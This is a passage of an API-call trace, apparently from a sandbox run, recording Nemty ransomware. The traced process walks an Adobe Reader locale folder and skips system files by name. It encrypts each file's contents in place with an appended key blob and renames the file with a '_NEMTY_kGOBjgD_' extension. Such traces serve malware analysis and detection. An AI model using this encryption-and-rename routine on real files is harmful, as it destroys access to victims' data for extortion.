(HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.PTB", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0181.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.PTB", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.PTB", lpUsedDefaultChar=0x0) returned 9 [0181.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.PTB", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0181.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.PTB", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.PTB", lpUsedDefaultChar=0x0) returned 9 [0181.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.PTB", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0181.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.PTB", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.PTB", lpUsedDefaultChar=0x0) returned 9 [0181.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.PTB", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0181.530] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.PTB", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.PTB", lpUsedDefaultChar=0x0) returned 9 [0181.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0181.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0181.530] Sleep (dwMilliseconds=0x5) [0181.535] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fd9a590, dwHighDateTime=0x1d561e8)) [0181.535] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fd9a590, dwHighDateTime=0x1d561e8)) [0181.535] GetLastError () returned 0x0 [0181.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.535] GetLastError () returned 0x0 [0181.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.536] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0181.536] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0181.536] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0181.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0181.536] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="U3HTe9QHmlnaYcxNx2pLt9E6MTPOA2rcnePgPHspExf/S50QvXQWmDuo4TPbmbsP\r\nrY/G8V3AN18PQC6LKVkXu6NhPn3B2rXs4kdo6lIXYo5cuHE2a1RCgkRbM7v358aV\r\npTCmrVBQ2IUybQdXi888kJbiCdddkc4BlcCrRhTfNsIOaQ02mPy2gd74Evykk9H2\r\nr/490xFzzl4WTW6brmcY0BPc2k0ZNzphO30NU5WLgtIr4J/UG4lm5ttACZXJrSlk\r\nAuvndcDMcedu+8Wdlyuc08/Qrk9te2PmgJQZuOmr4LwDHbaJTfquTQwinkVPFqNc\r\nV9Gds/q+rPnj2X9huDdgiw==\r\n", pcchString=0x653e5dc) returned 1 [0181.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.536] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0181.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.536] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\pddom.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\pddom.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.536] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=11776) returned 1 [0181.536] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2e00) returned 0x6352c48 [0181.536] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.536] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2e00, lpOverlapped=0x0) returned 1 [0181.539] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.539] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2e00, lpOverlapped=0x0) returned 1 [0181.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0181.539] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=11776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2e00 [0181.539] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0181.539] CloseHandle (hObject=0x2e8) returned 1 [0181.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0181.539] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.539] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0181.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0181.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0181.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.539] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\pddom.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\pddom.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\pddom.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\pddom.ptb._nemty_kgobjgd_")) returned 1 [0181.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0181.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0181.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0181.540] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d47040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x82000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PPKLITE.PTB", cAlternateFileName="")) returned 1 [0181.540] lstrcmpiW (lpString1="PPKLITE.PTB", lpString2=".") returned 1 [0181.540] lstrcmpiW (lpString1="PPKLITE.PTB", lpString2="..") returned 1 [0181.540] lstrcmpiW (lpString1="PPKLITE.PTB", lpString2="...") returned 1 [0181.540] lstrcmpiW (lpString1="PPKLITE.PTB", lpString2="windows") returned -1 [0181.540] lstrcmpiW (lpString1="PPKLITE.PTB", lpString2="$RECYCLE.BIN") returned 1 [0181.540] lstrcmpiW (lpString1="PPKLITE.PTB", lpString2="rsa") returned -1 [0181.540] lstrcmpiW (lpString1="PPKLITE.PTB", lpString2="NTDETECT.COM") returned 1 [0181.540] lstrcmpiW (lpString1="PPKLITE.PTB", lpString2="ntldr") returned 1 [0181.540] lstrcmpiW (lpString1="PPKLITE.PTB", lpString2="MSDOS.SYS") returned 1 [0181.540] lstrcmpiW (lpString1="PPKLITE.PTB", lpString2="IO.SYS") returned 1 [0181.540] lstrcmpiW (lpString1="PPKLITE.PTB", lpString2="boot.ini") returned 1 [0181.540] lstrcmpiW (lpString1="PPKLITE.PTB", lpString2="boot.ini") returned 1 [0181.540] lstrcmpiW (lpString1="PPKLITE.PTB", lpString2="AUTOEXEC.BAT") returned 1 [0181.540] lstrcmpiW (lpString1="PPKLITE.PTB", lpString2="ntuser.dat") returned 1 [0181.540] lstrcmpiW (lpString1="PPKLITE.PTB", lpString2="desktop.ini") returned 1 [0181.540] lstrcmpiW (lpString1="PPKLITE.PTB", lpString2="CONFIG.SYS") returned 1 [0181.540] lstrcmpiW (lpString1="PPKLITE.PTB", lpString2="RECYCLER") returned -1 [0181.541] lstrcmpiW (lpString1="PPKLITE.PTB", lpString2="BOOTSECT.BAK") returned 1 [0181.541] lstrcmpiW (lpString1="PPKLITE.PTB", lpString2="bootmgr") returned 1 [0181.541] lstrcmpiW (lpString1="PPKLITE.PTB", lpString2="programdata") returned -1 [0181.541] lstrcmpiW (lpString1="PPKLITE.PTB", lpString2="appdata") returned 1 [0181.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.PTB", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0181.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.PTB", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.PTB", lpUsedDefaultChar=0x0) returned 11 [0181.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.PTB", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0181.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.PTB", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.PTB", lpUsedDefaultChar=0x0) returned 11 [0181.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.PTB", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0181.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.PTB", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.PTB", lpUsedDefaultChar=0x0) returned 11 [0181.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.PTB", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0181.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.PTB", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.PTB", lpUsedDefaultChar=0x0) returned 11 [0181.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0181.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0181.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0181.541] Sleep (dwMilliseconds=0x5) [0181.551] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fdc06f0, dwHighDateTime=0x1d561e8)) [0181.551] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fdc06f0, dwHighDateTime=0x1d561e8)) [0181.551] GetLastError () returned 0x0 [0181.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.551] GetLastError () returned 0x0 [0181.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.551] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0181.551] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0181.551] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0181.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0181.551] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="ngxjRKG1sZAVS4ssNQSa21U6sOCqbjU8v1/c8EYgN32QRyG3LedFk0Ll/lkiOtZG\r\nm+BzBtkaLF7E4HlHP4P0QKNzcVH7VNo+Ca3CUlV06nPBw7caKsqbF+fSPsKFa/13\r\nigioBXNrc1cF97U/YOKfnTUInMMj32MVhq8xt/0026sBFVIxirchbvQxxVRo/Sox\r\nZqUzv8UY81YgsYbyN9DKWvO5QJCO0iAjjatRiCBKmitCI4Mmy4FitqJ1FjYoX8q1\r\nbz9NfuR7Y4e1JnWn1mArwKf4N/jhJ6/fLNJefTE0EfB+XECc4Ksmkp6lOOEmMMDd\r\nU2iun3S83SUbiHFIJswGUA==\r\n", pcchString=0x653e5dc) returned 1 [0181.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0181.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.551] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\PPKLITE.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\ppklite.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.552] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=532480) returned 1 [0181.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0181.552] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.552] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0181.563] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.563] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0181.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0181.563] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=532480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x82000 [0181.563] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0181.564] CloseHandle (hObject=0x2e8) returned 1 [0181.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0181.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0181.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0181.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0181.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.565] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\PPKLITE.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\ppklite.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\PPKLITE.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\ppklite.ptb._nemty_kgobjgd_")) returned 1 [0181.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0181.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0181.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.565] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f876820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x150600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="RdLang32.PTB", cAlternateFileName="")) returned 1 [0181.566] lstrcmpiW (lpString1="RdLang32.PTB", lpString2=".") returned 1 [0181.566] lstrcmpiW (lpString1="RdLang32.PTB", lpString2="..") returned 1 [0181.566] lstrcmpiW (lpString1="RdLang32.PTB", lpString2="...") returned 1 [0181.566] lstrcmpiW (lpString1="RdLang32.PTB", lpString2="windows") returned -1 [0181.566] lstrcmpiW (lpString1="RdLang32.PTB", lpString2="$RECYCLE.BIN") returned 1 [0181.566] lstrcmpiW (lpString1="RdLang32.PTB", lpString2="rsa") returned -1 [0181.566] lstrcmpiW (lpString1="RdLang32.PTB", lpString2="NTDETECT.COM") returned 1 [0181.566] lstrcmpiW (lpString1="RdLang32.PTB", lpString2="ntldr") returned 1 [0181.566] lstrcmpiW 